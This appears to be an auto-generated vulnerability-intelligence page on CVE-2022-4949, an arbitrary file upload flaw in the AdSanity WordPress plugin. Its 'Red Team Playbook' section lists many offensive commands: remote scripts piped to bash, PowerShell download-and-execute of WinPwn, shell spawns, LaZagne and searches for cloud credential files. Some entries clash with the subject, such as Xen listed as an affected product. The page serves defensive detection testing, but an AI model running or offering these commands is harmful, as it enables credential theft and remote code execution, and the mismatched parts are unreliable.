CVE-2022-4949
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of file types in the 'ajax_upload' function of the AdSanity WordPress plugin. The root cause lies in the failure to enforce restrictions on uploaded file extensions or content, allowing unauthorized file formats to be accepted. The affected component is the AJAX-based upload handler present in AdSanity versions up to and including 1.8.1.
Vulnerability Description
The AdSanity plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'ajax_upload' function in versions up to, and including, 1.8.1. This makes it possible for authenticated attackers with Contributor+ level privileges to upload arbitrary files on the affected sites server which makes remote code execution possible.
Impact
An attacker with Contributor-level or higher privileges can exploit this vulnerability to upload arbitrary files, including web shells or scripts, to the server hosting the WordPress site. This enables remote code execution, allowing the attacker to execute commands with the web server's privileges. The attack requires authentication but no user interaction beyond uploading files. This can lead to full site compromise, data exfiltration, or lateral movement within the hosting environment. The CVSS vector indicates low attack complexity and privileges required (AV:N/AC:L/PR:L/UI:N).
Solution
Users should upgrade the AdSanity plugin to a version later than 1.8.1 where this vulnerability is addressed. Detailed remediation steps and patch information are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/effd72d2-876d-4f8d-b1e4-5ab38eab401b. No specific workaround is documented; applying the vendor’s patch or updating the plugin is required to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the AdSanity plugin for WordPress arises from inadequate file type validation within the 'ajax_upload' function. This oversight allows authenticated users with Contributor or higher privileges to upload files without proper checks on their content type. Specifically, the absence of stringent validation mechanisms means that attackers can exploit this weakness to upload malicious files, including scripts or executables, which can subsequently be executed on the server. This flaw is particularly concerning given that it enables remote code execution, a critical risk that can lead to full system compromise.
Attackers can leverage this vulnerability through various vectors. Once they gain access to an account with the necessary privileges, they can initiate the file upload process. By crafting a malicious file disguised as a legitimate image or document, they can bypass the upload restrictions that would typically prevent such actions. Once the file is uploaded, the attacker can execute it, leading to unauthorized access to the server, data exfiltration, or even the installation of backdoors for persistent access. This scenario highlights the ease with which an attacker can exploit the vulnerability, especially in environments where user roles are not strictly monitored or where the principle of least privilege is not enforced.
The real-world impact of this vulnerability is profound, particularly for businesses that rely on the AdSanity plugin for managing advertisements on their WordPress sites. Successful exploitation can lead to significant business risks, including data breaches, loss of customer trust, and potential legal ramifications. For organizations handling sensitive information, the consequences of a breach can be severe, resulting in financial losses and reputational damage. Additionally, the presence of malicious code on a server can lead to further exploitation, as compromised systems may be used to launch attacks against other targets, creating a ripple effect that extends beyond the initial victim.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the AdSanity plugin to the latest version is crucial, as developers often release patches to address known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious file uploads and monitor for suspicious activity. Organizations should also conduct regular security audits and penetration testing to identify and remediate vulnerabilities before they can be exploited. Furthermore, implementing strict user role management and limiting file upload capabilities to only those who absolutely need it can significantly reduce the attack surface.
In conclusion, the vulnerability in the AdSanity plugin underscores the importance of robust security practices in web applications. The potential for arbitrary file uploads leading to remote code execution poses a significant threat to organizations using this plugin. By understanding the technical details, attack vectors, and real-world implications, businesses can better prepare themselves to defend against such vulnerabilities. Proactive detection and mitigation strategies are essential to safeguarding sensitive data and maintaining the integrity of web applications in an increasingly hostile cyber landscape.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Adsanityplugin | Adsanity | All |
cpe:2.3:a:adsanityplugin:adsanity:*:*:*:*:*:wordpress:*:*
|
|
|
Xen | Xen | N/A |
cpe:2.3:o:xen:xen:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-4949 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/effd72d2-876d-4f8d-b1e4-5ab38eab401b?source=cve |
| blog.nintechnet.com |
GitHub CVE
|
https://blog.nintechnet.com/critical-vulnerability-in-wordpress-adsanity-plugin/ |
| xenbits.xen.org |
GitHub CVE
|
http://xenbits.xen.org/xsa/advisory-443.html |
| openwall.com |
GitHub CVE
|
http://www.openwall.com/lists/oss-security/2023/11/09/3 |